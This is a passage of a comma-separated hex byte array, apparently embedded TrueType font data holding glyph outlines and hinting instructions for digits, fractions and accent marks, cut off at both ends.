0x13,0x10,0xcd,0xcd,0x13,0xb1,0x0,0xe,0x2f,0x3c,0xb1,0xd,0xc,0x2f,0x3c,0xb2, + 0x5,0x4,0x3,0x2f,0x3c,0x3c,0xb2,0x18,0x17,0x3,0x10,0xdd,0x3c,0xb2,0xf,0x10, + 0xc,0x10,0xdd,0x3c,0x31,0x30,0x33,0x11,0x33,0x15,0x21,0x33,0x32,0x16,0x15,0x14, + 0x6,0x23,0x7,0x21,0x19,0x1,0x21,0x32,0x36,0x35,0x34,0x26,0x23,0x27,0x21,0x82, + 0x9a,0x1,0xa3,0x34,0xe7,0xa8,0xaf,0xf1,0x3c,0xfe,0x76,0x1,0x6d,0xe6,0x80,0x57, + 0xa3,0x3b,0xfe,0x62,0x5,0x55,0xbf,0xb2,0xf5,0xec,0xaa,0x1,0xfe,0xa8,0x1,0xda, + 0x5f,0xa9,0xc7,0x6a,0x1,0x0,0x2,0x0,0x60,0xff,0xf2,0x3,0xad,0x5,0x64,0x0, + 0x17,0x0,0x23,0x0,0x5d,0x40,0xd,0x17,0x12,0xc,0x9,0x8,0x7,0x6,0x5,0x4, + 0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2f,0x2f, + 0x2e,0xb3,0x21,0xc,0x1b,0x12,0x10,0xcd,0x10,0xcd,0x0,0xb4,0x1,0x5,0x4,0x0, + 0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x7,0x4,0x10,0xc0,0x40,0xd,0x1,0x17,0x9, + 0x8,0x6,0x3,0x2,0x1,0x0,0x8,0x4,0x2,0x0,0x13,0x11,0x12,0x17,0x39,0x13, + 0xb3,0x15,0x2,0xf,0x0,0x3f,0x3f,0xb3,0x1e,0xf,0x18,0x15,0x10,0xcd,0x10,0xcd, + 0x31,0x30,0x1,0x7,0x27,0x37,0x27,0x33,0x17,0x37,0x17,0x7,0x13,0x16,0x11,0x10, + 0x6,0x21,0x20,0x26,0x11,0x10,0x36,0x21,0x32,0x17,0x7,0x22,0x6,0x15,0x14,0x16, + 0x33,0x32,0x36,0x35,0x34,0x26,0x2,0x13,0xc3,0x2e,0xbb,0x60,0x8b,0x39,0xb3,0x2e, + 0xaa,0xd3,0x62,0x9e,0xfe,0xf7,0xfe,0xf8,0x9e,0x9e,0x1,0x9,0x44,0x45,0x8a,0xba, + 0x59,0x59,0xba,0xbb,0x59,0x59,0x4,0x7b,0x6c,0x53,0x68,0x8b,0x53,0x62,0x53,0x5e, + 0xfe,0xcd,0x8f,0xfe,0xed,0xfe,0xcc,0xb8,0xb8,0x1,0x34,0x1,0x34,0xb8,0x6,0x6e, + 0x79,0xff,0xff,0x79,0x79,0xff,0xff,0x79,0x0,0x0,0x2,0x0,0x7b,0xfe,0x65,0x3, + 0xb3,0x5,0x55,0x0,0x10,0x0,0x1c,0x0,0x58,0xb1,0x0,0x10,0x2f,0x3c,0xb5,0xf, + 0xe,0x2,0x1,0x3,0x10,0x10,0x17,0xdd,0x3c,0xb4,0x14,0xd,0x8,0x3,0x1,0x10, + 0xc0,0xc4,0xc0,0xc4,0xb1,0x1a,0x8,0x10,0xcd,0x0,0xb4,0x1,0x0,0x1,0x0,0x0, + 0x13,0x10,0xcd,0xcd,0x13,0xb1,0x10,0xf,0x2f,0x3c,0x40,0xb,0x1,0x1,0xe,0xd, + 0x3,0x2,0x4,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb3, + 0xb,0x0,0x5,0x2,0x3f,0x3f,0xb3,0x17,0xb,0x11,0x5,0x10,0xcd,0x10,0xcd,0x31, + 0x30,0x13,0x33,0x11,0x17,0x36,0x33,0x32,0x16,0x11,0x10,0x6,0x23,0x22,0x27,0x23, + 0x11,0x23,0x1,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x7b,0x8c, + 0x4,0x48,0xeb,0xd5,0xa0,0xa2,0xcf,0xec,0x4c,0x3,0x8c,0x1,0x9c,0xa8,0x66,0x6e, + 0xa6,0x9e,0x65,0x62,0x5,0x55,0xfd,0xee,0x3,0x8a,0xd9,0xfe,0xdf,0xfe,0xf3,0xd1, + 0x7f,0xfd,0xf4,0x4,0xf1,0x91,0xef,0xdd,0x93,0x8e,0xde,0xf4,0x90,0x0,0x1,0x0, + 0x8c,0x2,0x22,0x2,0xe,0x5,0x55,0x0,0x6,0x0,0x37,0xb1,0x0,0x1,0x2f,0x3c, + 0xb2,0x3,0x2,0x1,0x10,0xdd,0x3c,0xb3,0x6,0x5,0x4,0x2,0x10,0xc0,0xc0,0xc0, + 0x0,0xb4,0x1,0x0,0x6,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f, + 0x3c,0xb7,0x1,0x5,0x4,0x3,0x3,0x6,0x2,0x0,0x13,0x11,0x12,0x17,0x39,0x13, + 0x31,0x30,0x1,0x11,0x23,0x11,0x7,0x27,0x37,0x2,0xe,0x66,0xd5,0x47,0xf5,0x5, + 0x55,0xfc,0xcd,0x2,0xd7,0xdc,0x3f,0xf9,0x0,0x0,0x1,0x0,0x50,0x2,0x20,0x2, + 0xcc,0x5,0x5d,0x0,0x1f,0x0,0x4e,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x0,0x1,0x2f, + 0x3c,0xb1,0x18,0x1,0x10,0xc4,0x40,0x9,0xf,0x1f,0x1e,0x11,0x10,0xf,0x5,0x1, + 0x2,0x11,0x12,0x17,0x39,0x2f,0xb1,0x9,0x18,0x10,0xcd,0x0,0xb1,0x0,0x1f,0x2f, + 0x3c,0xb1,0x11,0x10,0x2f,0x3c,0xb2,0x2,0x1,0x1f,0x10,0xdd,0x3c,0xb5,0x1,0x1e, + 0x3,0x2,0x0,0x1f,0x11,0x14,0x12,0x39,0x39,0x14,0xb1,0x15,0x1,0x3f,0xb1,0xc, + 0x15,0x10,0xcd,0x31,0x30,0x1,0x15,0x21,0x35,0x34,0x36,0x37,0x3e,0x1,0x35,0x34, + 0x26,0x23,0x22,0x6,0x15,0x17,0x23,0x37,0x34,0x36,0x33,0x32,0x16,0x15,0x14,0x6, + 0x7,0xe,0x1,0x1d,0x1,0x2,0xc9,0xfd,0x87,0x6e,0xcb,0x9f,0x3e,0x48,0x83,0x92, + 0x4d,0x1,0x6c,0x1,0x84,0xbf,0xba,0x7d,0x73,0xbe,0xa1,0x3c,0x2,0x7c,0x5c,0xa0, + 0x83,0x53,0x15,0x11,0x35,0x74,0x66,0x39,0x30,0x5b,0x44,0x31,0x92,0x65,0x69,0x9c, + 0x93,0x65,0x12,0xf,0x33,0x7c,0x14,0x0,0x1,0x0,0x4c,0x2,0x1a,0x2,0xdc,0x5, + 0x5d,0x0,0x2a,0x0,0x84,0xb1,0x0,0x1,0x2f,0x3c,0xb7,0x23,0x21,0x20,0x1f,0xd, + 0xc,0xb,0x1,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xb6,0x2a,0x29,0x25,0x18, + 0x16,0x14,0x1,0x10,0xc4,0xc0,0xc4,0xc0,0xc0,0xc0,0xb3,0x27,0x18,0x5,0x14,0x10, + 0xcd,0x10,0xcd,0x0,0xb1,0x20,0x1f,0x2f,0x3c,0xb0,0x2,0x2f,0xb1,0xd,0xc,0x2f, + 0x3c,0xb3,0x0,0x2a,0x29,0x2,0x10,0xdd,0x3c,0x3c,0x40,0xa,0x1b,0x1,0x25,0x23, + 0x21,0x1b,0x4,0x1f,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0xb4,0x1,0x16, + 0x2,0x2,0x0,0x13,0x11,0x12,0x39,0x13,0xb2,0x1,0xc,0x2,0x11,0x12,0x39,0xb4, + 0x1,0xb,0x1,0x0,0xc,0x11,0x14,0x12,0x39,0x14,0xb1,0x11,0x1,0x3f,0xb3,0x24, + 0x1b,0x8,0x11,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x35,0x17,0x32,0x36,0x35,0x34, + 0x26,0x23,0x22,0x6,0x1d,0x1,0x23,0x35,0x34,0x36,0x33,0x32,0x16,0x15,0x14,0x7, + 0x16,0x15,0x14,0x6,0x23,0x22,0x26,0x35,0x27,0x33,0x15,0x14,0x33,0x17,0x37,0x36, + 0x35,0x34,0x2b,0x1,0x1,0x45,0x28,0xae,0x4a,0x40,0x97,0x8e,0x3c,0x69,0x77,0xbb, + 0xc1,0x7d,0x75,0x86,0x80,0xbf,0xce,0x82,0x1,0x6c,0x7d,0x8c,0x5d,0x58,0xb3,0x52, + 0x3,0x96,0x5d,0x1,0x26,0x59,0x67,0x2c,0x2c,0x66,0x22,0x27,0x8d,0x59,0x53,0x80, + 0xab,0x19,0x17,0xa5,0x90,0x60,0x59,0x8d,0x36,0x36,0x8b,0x2,0x7,0xe,0x87,0x87, + 0x0,0x0,0x1,0x0,0xc2,0x0,0xf9,0x4,0x26,0x4,0x5d,0x0,0xb,0x0,0x4b,0x40, + 0xc,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0xf,0x1,0x1,0xb,0xa, + 0x9,0x8,0x7,0x6,0x3,0x0,0x8,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17, + 0x39,0x13,0x14,0x40,0xb,0x1,0x1,0x5,0x4,0x2,0x1,0x4,0x1,0x0,0x2,0x0, + 0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x31,0x30,0x9,0x1,0x37,0x9,0x1,0x17, + 0x9,0x1,0x7,0x9,0x1,0x27,0x2,0x15,0xfe,0xad,0x5f,0x1,0x53,0x1,0x53,0x5f, + 0xfe,0xad,0x1,0x53,0x5f,0xfe,0xad,0xfe,0xad,0x5f,0x2,0xab,0x1,0x52,0x60,0xfe, + 0xad,0x1,0x53,0x60,0xfe,0xae,0xfe,0xad,0x5f,0x1,0x52,0xfe,0xae,0x5f,0x0,0x0, + 0x3,0x0,0x8c,0x0,0x0,0x7,0x17,0x5,0x55,0x0,0x6,0x0,0xa,0x0,0x2a,0x0, + 0x9b,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0xe,0xd,0x2f,0x3c,0xb1,0xb,0xc,0x2f,0x3c, + 0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb3,0x6,0x5,0x4,0x2,0x10,0xc0,0xc0,0xc0, + 0xb1,0x23,0xc,0x10,0xc4,0x40,0x9,0x1a,0x2a,0x29,0x1c,0x1b,0x1a,0x5,0xc,0xd, + 0x11,0x12,0x17,0x39,0x2f,0xb3,0xa,0x9,0x8,0x7,0x2e,0x2e,0x2e,0x2e,0xb1,0x14, + 0x23,0x10,0xcd,0x0,0x40,0xb,0x1,0xb,0x2a,0x0,0x7,0xa,0x0,0x0,0x6,0x0, + 0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f, + 0x3c,0xb1,0x9,0x8,0x2f,0x3c,0xb1,0xd,0xc,0x2f,0x3c,0xb1,0x1c,0x1b,0x2f,0x3c, + 0xb7,0x1,0x5,0x4,0x3,0x3,0x6,0x2,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb3, + 0x29,0xe,0x1b,0x2a,0x11,0x12,0x39,0x39,0xb5,0x20,0x1,0x20,0x2,0x0,0x1b,0x11, + 0x14,0x12,0x39,0x14,0x2f,0xb1,0x17,0x20,0x10,0xcd,0x31,0x30,0x1,0x11,0x23,0x11, + 0x7,0x27,0x37,0x21,0x1,0x23,0x9,0x1,0x15,0x21,0x35,0x34,0x36,0x37,0x3e,0x1, + 0x35,0x34,0x26,0x23,0x22,0x6,0x15,0x17,0x23,0x37,0x34,0x36,0x33,0x32,0x16,0x15, + 0x14,0x6,0x7,0xe,0x1,0x1d,0x1,0x2,0xe,0x66,0xd5,0x47,0xf5,0x4,0x44,0xfc, + 0x62,0x68,0x3,0x9a,0x1,0xbb,0xfd,0x87,0x6d,0xcc,0x9f,0x3e,0x48,0x83,0x92,0x4d, + 0x1,0x6c,0x1,0x84,0xbf,0xba,0x7d,0x74,0xbd,0xa2,0x3b,0x5,0x55,0xfc,0xcd,0x2, + 0xd7,0xdc,0x3f,0xf9,0xfa,0xab,0x5,0x55,0xfb,0x7,0x5c,0xa0,0x83,0x51,0x16,0x11, + 0x34,0x74,0x66,0x39,0x30,0x5b,0x44,0x31,0x92,0x65,0x69,0x9c,0x93,0x65,0x11,0xf, + 0x33,0x7b,0x14,0x0,0x4,0x0,0x8c,0x0,0x0,0x7,0x48,0x5,0x55,0x0,0x6,0x0, + 0xa,0x0,0x15,0x0,0x18,0x0,0x99,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x14,0x13,0x2f, + 0x3c,0xb4,0xb,0x10,0xf,0xc,0x3,0x17,0x2f,0x3c,0xb1,0xe,0xd,0x2f,0x3c,0xb2, + 0x0,0x1,0x2,0x10,0xdd,0x3c,0xb5,0x16,0x17,0x12,0x11,0x3,0xc,0x10,0x17,0xdd, + 0x3c,0xb3,0x6,0x5,0x4,0x2,0x10,0xc0,0xc0,0xc0,0xb3,0x18,0x15,0x11,0x13,0x11, + 0x12,0x39,0x39,0xb3,0xa,0x9,0x8,0x7,0x2e,0x2e,0x2e,0x2e,0x0,0xb7,0x1,0x7, + 0xa,0x0,0x0,0x6,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x2, + 0x1,0x2f,0x3c,0xb1,0x9,0x8,0x2f,0x3c,0xb1,0x11,0x10,0x2f,0x3c,0xb4,0x13,0x12, + 0xf,0xe,0x3,0x17,0x2f,0x3c,0xb1,0xb,0x15,0x2f,0x3c,0xb5,0x16,0x18,0xd,0xc, + 0x3,0xe,0x10,0x17,0xdd,0x3c,0xb7,0x1,0x5,0x4,0x3,0x3,0x6,0x2,0x0,0x13, + 0x11,0x12,0x17,0x39,0x13,0xb3,0x17,0x14,0x15,0xc,0x11,0x12,0x39,0x39,0x31,0x30, + 0x1,0x11,0x23,0x11,0x7,0x27,0x37,0x21,0x1,0x23,0x9,0x1,0x11,0x33,0x15,0x23, + 0x15,0x23,0x35,0x21,0x35,0x1,0x13,0x11,0x1,0x2,0xe,0x66,0xd5,0x47,0xf5,0x4, + 0x44,0xfc,0x62,0x68,0x3,0x9a,0x1,0x6e,0x81,0x81,0x66,0xfe,0x16,0x1,0xb8,0x32, + 0xfe,0x7d,0x5,0x55,0xfc,0xcd,0x2,0xd7,0xdc,0x3f,0xf9,0xfa,0xab,0x5,0x55,0xfd, + 0xde,0xfd,0xe3,0x5c,0xba,0xba,0x76,0x2,0x3,0xfd,0xe3,0x1,0xcc,0xfe,0x34,0x0, + 0x4,0x0,0x4c,0x0,0x0,0x7,0x47,0x5,0x5d,0x0,0x2a,0x0,0x2e,0x0,0x39,0x0, + 0x3c,0x0,0xeb,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x38,0x37,0x2f,0x3c,0xb4,0x2f,0x34, + 0x33,0x30,0x3,0x17,0x2f,0x3c,0xb1,0x32,0x31,0x2f,0x3c,0xb5,0x3a,0x3b,0x36,0x35, + 0x3,0x30,0x10,0x17,0xdd,0x3c,0xb7,0x23,0x21,0x20,0x1f,0xd,0xc,0xb,0x1,0x10, + 0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xb6,0x2a,0x29,0x25,0x18,0x16,0x14,0x1,0x10, + 0xc4,0xc0,0xc4,0xc0,0xc0,0xc0,0xb3,0x3c,0x39,0x35,0x37,0x11,0x12,0x39,0x39,0xb3, + 0x2e,0x2d,0x2c,0x2b,0x2e,0x2e,0x2e,0x2e,0xb3,0x27,0x18,0x5,0x14,0x10,0xcd,0x10, + 0xcd,0x0,0xb4,0x1,0x2b,0x2e,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x20,0x1f, + 0x2f,0x3c,0xb0,0x2,0x2f,0xb1,0xd,0xc,0x2f,0x3c,0xb1,0x2d,0x2c,0x2f,0x3c,0xb1, + 0x35,0x34,0x2f,0x3c,0xb4,0x37,0x36,0x33,0x32,0x3,0x17,0x2f,0x3c,0xb1,0x2f,0x39, + 0x2f,0x3c,0xb3,0x0,0x2a,0x29,0x2,0x10,0xdd,0x3c,0x3c,0xb5,0x3a,0x3c,0x31,0x30, + 0x3,0x32,0x10,0x17,0xdd,0x3c,0x40,0xa,0x1b,0x1,0x25,0x23,0x21,0x1b,0x4,0x1f, + 0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0xb4,0x1,0x16,0x2,0x2,0x0,0x13, + 0x11,0x12,0x39,0x13,0xb2,0x1,0xc,0x2,0x11,0x12,0x39,0xb4,0x1,0xb,0x1,0x0, + 0xc,0x11,0x14,0x12,0x39,0x14,0xb3,0x3b,0x38,0x39,0x30,0x11,0x12,0x39,0x39,0xb1, + 0x11,0x1,0x3f,0xb3,0x24,0x1b,0x8,0x11,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x35, + 0x17,0x32,0x36,0x35,0x34,0x26,0x23,0x22,0x6,0x1d,0x1,0x23,0x35,0x34,0x36,0x33, + 0x32,0x16,0x15,0x14,0x7,0x16,0x15,0x14,0x6,0x23,0x22,0x26,0x35,0x27,0x33,0x15, + 0x14,0x33,0x17,0x37,0x36,0x35,0x34,0x2b,0x1,0x9,0x1,0x23,0x9,0x1,0x11,0x33, + 0x15,0x23,0x15,0x23,0x35,0x21,0x35,0x1,0x13,0x11,0x1,0x1,0x45,0x28,0xae,0x4a, + 0x40,0x97,0x8e,0x3c,0x69,0x77,0xbb,0xc1,0x7d,0x75,0x86,0x80,0xbf,0xce,0x82,0x1, + 0x6c,0x7d,0x8c,0x5d,0x58,0xb3,0x52,0x4,0x98,0xfc,0x61,0x67,0x3,0x99,0x1,0x2a, + 0x81,0x81,0x66,0xfe,0x16,0x1,0xb8,0x32,0xfe,0x7d,0x3,0x96,0x5d,0x1,0x26,0x59, + 0x67,0x2c,0x2c,0x66,0x22,0x27,0x8d,0x59,0x53,0x80,0xad,0x17,0x16,0xa6,0x90,0x60, + 0x59,0x8d,0x36,0x36,0x8b,0x2,0x7,0xe,0x87,0x87,0x1,0xbf,0xfa,0xab,0x5,0x55, + 0xfd,0xde,0xfd,0xe3,0x5c,0xba,0xba,0x76,0x2,0x3,0xfd,0xe3,0x1,0xcc,0xfe,0x34, + 0x0,0x0,0x2,0x0,0x0,0xfe,0xab,0x0,0x8c,0x5,0x55,0x0,0x3,0x0,0x7,0x0, + 0x35,0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10, + 0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x0,0xb4,0x1,0x0,0x1,0x0,0x0, + 0x13,0x10,0xcd,0xcd,0x13,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb1, + 0x4,0x5,0x2f,0x3c,0x31,0x30,0x11,0x33,0x11,0x23,0x11,0x33,0x11,0x23,0x8c,0x8c, + 0x8c,0x8c,0x5,0x55,0xfd,0x59,0xfe,0x8c,0xfd,0x71,0x0,0x0,0x2,0x1,0x69,0x5, + 0xfa,0x3,0x75,0x6,0x7c,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c, + 0xb1,0x4,0x5,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5, + 0x10,0xdd,0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2, + 0x1,0x3,0x10,0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15, + 0x23,0x35,0x21,0x15,0x23,0x35,0x2,0x3,0x9a,0x2,0xc,0x9a,0x6,0x7c,0x82,0x82, + 0x82,0x82,0x0,0x0,0x1,0x2,0xe,0x5,0xc4,0x3,0x74,0x6,0xcd,0x0,0x3,0x0, + 0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1, + 0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27, + 0x3,0x37,0x3d,0xfe,0xcc,0x32,0x6,0xcd,0x6f,0x9a,0x4f,0x0,0x1,0x1,0x6a,0x5, + 0xc4,0x2,0xd0,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, + 0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0, + 0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x1,0xa6,0x1,0x2a,0x32,0xfe,0xcc,0x6, + 0xcd,0xba,0x4f,0x9a,0x0,0x0,0x1,0x1,0x32,0x5,0xc4,0x3,0xac,0x6,0xc7,0x0, + 0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0, + 0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x5,0x27,0x2,0x73,0x1, + 0x39,0x2b,0xfe,0xf2,0xfe,0xe5,0x26,0x6,0xc7,0xb6,0x4d,0x7c,0x7c,0x4d,0x0,0x0, + 0x1,0x1,0x48,0x5,0xe7,0x3,0xb1,0x6,0xa2,0x0,0x11,0x0,0x29,0xb3,0xa,0x9, + 0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0xc,0xa,0x9,0x3,0x1,0x0, + 0x1,0x0,0x13,0x10,0xc0,0xc0,0xc4,0xc0,0xc0,0xc4,0x13,0xb3,0x10,0x3,0x7,0xc, + 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x17,0x6,0x23,0x22,0x27,0x26,0x23,0x22,0x7, + 0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x3,0x63,0x4e,0x54,0x68,0x2c,0x5e,0x54, + 0x27,0x2d,0x29,0x52,0x4a,0x63,0x29,0x5f,0x5b,0x20,0x38,0x6,0xa2,0x33,0x88,0x29, + 0x24,0x49,0x2e,0x88,0x27,0x26,0x0,0x0,0x2,0x1,0xd2,0x5,0xb5,0x3,0xc,0x6, + 0xef,0x0,0x7,0x0,0xf,0x0,0x25,0xb1,0x6,0x2,0x2f,0x2f,0xb3,0xe,0x2,0xa, + 0x6,0x10,0xcd,0x10,0xcd,0x0,0xb4,0x1,0x4,0x0,0x1,0x0,0x13,0x10,0xc4,0xc4, + 0x13,0xb3,0xc,0x4,0x8,0x0,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x32,0x15,0x14, + 0x23,0x22,0x35,0x34,0x17,0x22,0x15,0x14,0x33,0x32,0x35,0x34,0x2,0x6f,0x9d,0x9d, + 0x9d,0x9d,0x59,0x59,0x59,0x6,0xef,0x9d,0x9d,0x9d,0x9d,0x48,0x55,0x55,0x55,0x55, + 0x0,0x0,0x2,0x1,0x6,0x5,0xfa,0x3,0x12,0x6,0x7c,0x0,0x3,0x0,0x7,0x0, + 0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10, + 0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb1, + 0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10, + 0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x21,0x15,0x23,0x35,0x1,0xa0,0x9a,0x2, + 0xc,0x9a,0x6,0x7c,0x82,0x82,0x82,0x82,0x0,0x0,0x1,0x1,0x8f,0x5,0xc4,0x2, + 0xf5,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e, + 0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13, + 0x31,0x30,0x1,0x17,0x5,0x27,0x2,0xb9,0x3c,0xfe,0xcc,0x32,0x6,0xcd,0x6f,0x9a, + 0x4f,0x0,0x1,0x1,0x30,0x5,0xc4,0x2,0x95,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3, + 0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1, + 0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x1,0x6c, + 0x1,0x29,0x32,0xfe,0xcd,0x6,0xcd,0xba,0x4f,0x9a,0x0,0x0,0x1,0x0,0xce,0x5, + 0xc4,0x3,0x49,0x6,0xc7,0x0,0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0, + 0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x5,0x7, + 0x25,0x5,0x27,0x2,0xf,0x1,0x3a,0x2b,0xfe,0xf1,0xfe,0xe5,0x26,0x6,0xc7,0xb6, + 0x4d,0x7c,0x7c,0x4d,0x0,0x0,0x2,0x0,0x15,0x5,0xfa,0x1,0x8b,0x6,0x7c,0x0, + 0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f,0x3c,0xb2, + 0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0,0xb1,0x0, + 0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd,0x3c,0xb2, + 0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x13,0x15,0x23,0x35,0x21,0x15,0x23,0x35, + 0xaf,0x9a,0x1,0x76,0x9a,0x6,0x7c,0x82,0x82,0x82,0x82,0x0,0x1,0x0,0x6f,0x5, + 0xc4,0x1,0xd5,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, + 0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0, + 0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27,0x1,0x98,0x3d,0xfe,0xcc,0x32,0x6,0xcd, + 0x6f,0x9a,0x4f,0x0,0x1,0xff,0xcb,0x5,0xc4,0x1,0x31,0x6,0xcd,0x0,0x3,0x0, + 0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1, + 0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x13,0x5,0x7,0x25, + 0x7,0x1,0x2a,0x32,0xfe,0xcc,0x6,0xcd,0xba,0x4f,0x9a,0x0,0x1,0xff,0xae,0x5, + 0xc4,0x1,0xf2,0x6,0xc7,0x0,0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0, + 0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x13,0x5,0x7, + 0x27,0x5,0x27,0xd4,0x1,0x1e,0x2b,0xf3,0xff,0x0,0x26,0x6,0xc7,0xb6,0x4d,0x7c, + 0x7c,0x4d,0x0,0x0,0x1,0x1,0xa2,0x5,0xe7,0x4,0xc,0x6,0xa2,0x0,0x11,0x0, + 0x29,0xb3,0xa,0x9,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0xc,0xa, + 0x9,0x3,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc4,0xc0,0xc0,0xc4,0x13,0xb3, + 0x10,0x3,0x7,0xc,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x17,0x6,0x23,0x22,0x27, + 0x26,0x23,0x22,0x7,0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x3,0xbe,0x4e,0x54, + 0x69,0x2c,0x5d,0x54,0x28,0x2d,0x28,0x53,0x4a,0x64,0x28,0x5f,0x5b,0x21,0x37,0x6, + 0xa2,0x33,0x88,0x29,0x24,0x49,0x2e,0x88,0x27,0x26,0x0,0x0,0x2,0x1,0x6e,0x5, + 0xfa,0x3,0x7a,0x6,0x7c,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c, + 0xb1,0x4,0x5,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5, + 